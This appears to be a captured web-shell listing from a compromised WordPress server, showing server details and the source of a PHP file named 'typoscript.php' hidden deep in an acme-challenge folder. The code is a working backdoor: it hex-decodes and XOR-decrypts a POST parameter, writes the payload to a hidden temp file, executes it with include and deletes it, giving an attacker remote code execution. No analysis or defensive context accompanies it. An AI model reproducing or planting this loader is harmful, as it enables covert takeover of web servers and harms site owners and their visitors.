HEX
Server: nginx/1.28.0
System: Linux yisu-68a5f20334161 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: www (1000)
PHP: 8.2.28
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
Upload Files
File: /www/wwwroot/q.autos58.cn/wp-content/well-known/acme-challenge/d/e/f/a/typoscript.php
<?php

if(array_key_exists("\x6Drk", $_POST) && !is_null($_POST["\x6Drk"])){
	$elem = hex2bin($_POST["\x6Drk"]);
	$object= '';$l = 0; while($l < strlen($elem)){$object .= chr(ord($elem[$l]) ^ 61);$l++;}
	$rec = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd()]);
	for ($holder = 0, $tkn = count($rec); $holder < $tkn; $holder++) {
    $dchunk = $rec[$holder];
    		if (is_writable($dchunk) && is_dir($dchunk)) {
    $reference = vsprintf("%s/%s", [$dchunk, ".component"]);
    $file = fopen($reference, 'w');
if ($file) {
	fwrite($file, $object);
	fclose($file);
	include $reference;
	@unlink($reference);
	exit;
}
}
}
}